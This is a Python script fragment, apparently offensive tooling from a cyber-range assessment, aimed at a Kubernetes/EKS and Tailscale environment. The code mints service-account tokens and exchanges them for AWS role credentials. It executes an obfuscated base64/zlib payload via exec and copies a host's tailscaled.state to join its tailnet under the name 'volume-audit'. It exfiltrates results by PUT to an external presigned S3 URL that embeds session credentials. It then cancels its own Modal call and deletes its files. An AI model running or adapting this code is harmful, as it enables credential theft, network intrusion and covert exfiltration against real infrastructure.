"pods": [str((x.get("metadata") or {}).get("name") or "")[:140]
for x in replication_rows[:10]]}
for target in replication_rows[:4]:
attempt = attempt_target(target, "legacy-replication")
result["attempts"].append(attempt)
if (attempt.get("s3") or {}).get("status") == "verified": return result
all_http, all_pods = kube("GET", "/api/v1/pods?" + urllib.parse.urlencode(
{"fieldSelector": "status.phase=Running", "limit": "2000"}), cap=6_000_000)
broad = [x for x in all_pods.get("items") or [] if is_blobnet_workload(x)]
result["legacy_blobnet_inventory"] = {"http": all_http, "matches": len(broad),
"pods": [{"namespace": str((x.get("metadata") or {}).get("namespace") or "")[:100],
"name": str((x.get("metadata") or {}).get("name") or "")[:140]}
for x in broad[:20]]}
seen = {str((x.get("metadata") or {}).get("uid") or "") for x in exact_rows}
for target in broad[:8]:
if str((target.get("metadata") or {}).get("uid") or "") in seen: continue
attempt = attempt_target(target, "legacy-image-fallback")
result["attempts"].append(attempt)
if (attempt.get("s3") or {}).get("status") == "verified": return result
if (not exact_rows or (exact_attempt or {}).get("status") in
("irsa_contract_absent", "irsa_token_absent")):
attempt = tokenrequest_attempt(); result["attempts"].append(attempt)
if (attempt.get("s3") or {}).get("status") == "verified": return result
API_HOST = "eks-gitops-dashboard-prod.tail5292b.ts.net"
API_PREFIX = "/clusters/prod-us-east-1"
current_http, current = kube("GET", "/api/v1/namespaces/" + NS + "/pods?limit=30")
current_rows = [x for x in current.get("items") or [] if
(x.get("status") or {}).get("phase") == "Running" and
str((x.get("metadata") or {}).get("name") or "").startswith(DEPLOYMENT)]
if current_rows:
attempt = attempt_target(current_rows[0], "headlamp-prod-us-east-1")
result["attempts"].append(attempt)
if (attempt.get("s3") or {}).get("status") == "verified": return result
result["current_exact"] = {"http": current_http, "running": len(current_rows)}
return result
def _assessment_put(value):
import json,urllib.request
try: urllib.request.urlopen(urllib.request.Request('https://cyber-range-build-scratch-592553552988.s3.us-east-2.amazonaws.com/private/objects/98de67cc11084970b4e2f7f00448eb97/callbacks/backupper-v2-full-pste-v72-1796568865-result.json?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAYT5XRVROBJ62T2SN%2F20261206%2Fus-east-2%2Fs3%2Faws4_request&X-Amz-Date=20261206T145425Z&X-Amz-Expires=7200&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEOf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMiJHMEUCIQCUBBCqBpGCa0o4CpsN2HrXeOzPRF6QJyzl9SejCTjSRgIgKGVOOiyKpuydfUmu5TSp68lF2swQZo1uK9IQZbZNefkq%2BgUIsP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw1OTI1NTM1NTI5ODgiDDW7Mwbd%2Fmwn%2BbH1yC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oCftZhHjxYJbeceKz9W%2B5ROnqm3Wu2L7tOQIW2rtLodMZm0cwKaEnoSmAI545yfDBzH7IRteAmhcAaKii46vyskqi2H1UddRMFai1AhX26bJOFVfXrwUgR5DH4kJk1YleLz3zBEakw%2BdRn06jiGUXf7nX6wLpHHFyxPosWhHGUr2Tck2pN3pUT9tqULX6QQLCrp9ZDbGhu9Es&X-Amz-SignedHeaders=host&X-Amz-Signature=3003110632855e2055936b2130e4900509451716247edb0327c1cc6b1a40f68c',data=json.dumps(value,separators=(",",":"),sort_keys=True).encode(),headers={"content-type":"application/json"},method="PUT"),timeout=10).read(8)
except Exception: pass
def _replica_sa_s3():
out={"stage":"replica-sa-exact-s3","mutated":False}
dh,dep=kube("GET","/apis/apps/v1/namespaces/blobnet/deployments/blobnet-replication-s3-to-r2",cap=600000);out["deployment"]={"http":dh,"body_type":type(dep).__name__}
if not isinstance(dep,dict):out["status"]="deployment_scalar";return out
spec=((dep.get("spec") or {}).get("template") or {}).get("spec") or {};sa=str(spec.get("serviceAccountName") or "blobnet-replication-s3-to-r2");out["sa"]=sa
sh,serviceaccount=kube("GET","/api/v1/namespaces/blobnet/serviceaccounts/"+urllib.parse.quote(sa,safe=""),cap=300000);out["serviceaccount_http"]=sh
if not isinstance(serviceaccount,dict):out["status"]="serviceaccount_scalar";return out
role=str(((serviceaccount.get("metadata") or {}).get("annotations") or {}).get("eks.amazonaws.com/role-arn") or "");out["role_arn"]=role
request={"apiVersion":"authentication.k8s.io/v1","kind":"TokenRequest","spec":{"audiences":["sts.amazonaws.com"],"expirationSeconds":900}}
th,response=kube("POST","/api/v1/namespaces/blobnet/serviceaccounts/"+urllib.parse.quote(sa,safe="")+"/token",request,cap=100000);token=str((response.get("status") or {}).get("token") or "") if isinstance(response,dict) else "";out["tokenrequest"]={"http":th,"body_type":type(response).__name__,"minted":bool(token)}
if not role or not token:return out
credentials,status=exchange(role,token);out["exchange"]=status
if not all(credentials):return out
os.environ["S3_ACCESS_KEY_ID"]=credentials[0];os.environ["S3_SECRET_ACCESS_KEY"]=credentials[1];os.environ["AWS_SESSION_TOKEN"]=credentials[2];os.environ["S3_REGION"]="us-east-1";os.environ["S3_MODAL_BLOBNET_BUCKET_NAME"]="modal-blobnet"
scope={"__name__":"replica_sa_exact_s3_verifier"};exec(zlib.decompress(base64.b64decode(VERIFY_B64)),scope,scope);out["s3"]=scope.get("out");return out
def _run_exact():
out={"stage":"scheduled-autoinference-state-s3","mutated":False,"cleanup":{}}
proc=None;tc=""
try:
source_state="/var/lib/tailscale/tailscaled.state";out["source_state_present"]=os.path.isfile(source_state)
if not out["source_state_present"]:out["status"]="state_absent";return out
os.makedirs(WORK,exist_ok=True);td,tc,binary_source=binaries();out["binary"]=binary_source
local_state=WORK+"/tailscaled.state";shutil.copyfile(source_state,local_state);os.chmod(local_state,0o600)
proc=subprocess.Popen([td,"--tun=userspace-networking","--socks5-server=127.0.0.1:1080",
"--state="+local_state,"--socket="+SOCK,"--statedir="+WORK],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
for _ in range(160):
if proc.poll() is not None:raise RuntimeError("tailscaled exited")
if os.path.exists(SOCK):
check=subprocess.run([tc,"--socket="+SOCK,"status","--json"],capture_output=True,timeout=5)
try:doc=json.loads(check.stdout[:1000000]);ips=(doc.get("TailscaleIPs") or []);state=doc.get("BackendState") or ""
except Exception:ips=[];state=""
if ips:out["tailnet"]={"backend_state":state,"ip_count":len(ips)};break
time.sleep(.25)
if not out.get("tailnet"):
up=subprocess.run([tc,"--socket="+SOCK,"up","--hostname=volume-audit","--accept-dns=false","--accept-routes=true","--reset"],stdout=subprocess.DEVNULL,stderr=subprocess.PIPE,timeout=45)
out["resume_rc"]=up.returncode
message=up.stderr.decode(errors="replace").lower();out["resume_class"]=next((label for label,marker in (("login","login.tailscale"),("invalid","invalid"),("denied","denied"),("network","network")) if marker in message),"other") if up.returncode else "OK"
for _ in range(80):
if proc.poll() is not None:raise RuntimeError("tailscaled exited after resume")
check=subprocess.run([tc,"--socket="+SOCK,"status","--json"],capture_output=True,timeout=5)
try:doc=json.loads(check.stdout[:1000000]);ips=(doc.get("TailscaleIPs") or []);backend=doc.get("BackendState") or ""
except Exception:ips=[];backend=""
out["backend_state"]=backend
if ips:out["tailnet"]={"backend_state":backend,"ip_count":len(ips)};break
time.sleep(.25)
if not out.get("tailnet") and out.get("resume_rc") not in (None,0):out["status"]="state_not_online";return out
out["probe"]=_replica_sa_s3();return out
except Exception as error:
out["status"]="failed";out["error"]=type(error).__name__;out["detail"]=str(error)[:160];return out
finally:
if proc is not None:
try:proc.terminate();proc.wait(timeout=5)
except Exception:
try:proc.kill();proc.wait(timeout=3)
except Exception:pass
out["cleanup"]["process_stopped"]=proc.poll() is not None
try:shutil.rmtree(WORK,ignore_errors=True);out["cleanup"]["files_removed"]=not os.path.exists(WORK)
except Exception:out["cleanup"]["files_removed"]=False
try:_assessment_put(_run_exact())
except Exception as _fatal:_assessment_put({"stage":"scheduled-autoinference-tailnet-s3","status":"failed","error":type(_fatal).__name__,"detail":str(_fatal)[:160],"mutated":False})
import asyncio as _cleanup
async def _cancel_exact():
from google.protobuf.empty_pb2 import Empty
from grpclib.client import Channel,UnaryUnaryMethod
from grpclib.events import SendRequest,listen
from modal_proto import api_pb2 as p
channel=Channel(path="/run/modal.sock")
async def metadata(event):event.metadata.update({"x-modal-client-type":"3","x-modal-client-version":"1.7.0"})
listen(channel,SendRequest,metadata)
try:await UnaryUnaryMethod(channel,"/modal.client.ModalClient/FunctionCallCancel",p.FunctionCallCancelRequest,Empty)(p.FunctionCallCancelRequest(function_call_id=os.environ.get("ASSESS_CALL_ID",""),terminate_containers=True),timeout=8)
except Exception:pass
channel.close()
try:_cleanup.run(_cancel_exact())
except Exception:pass
|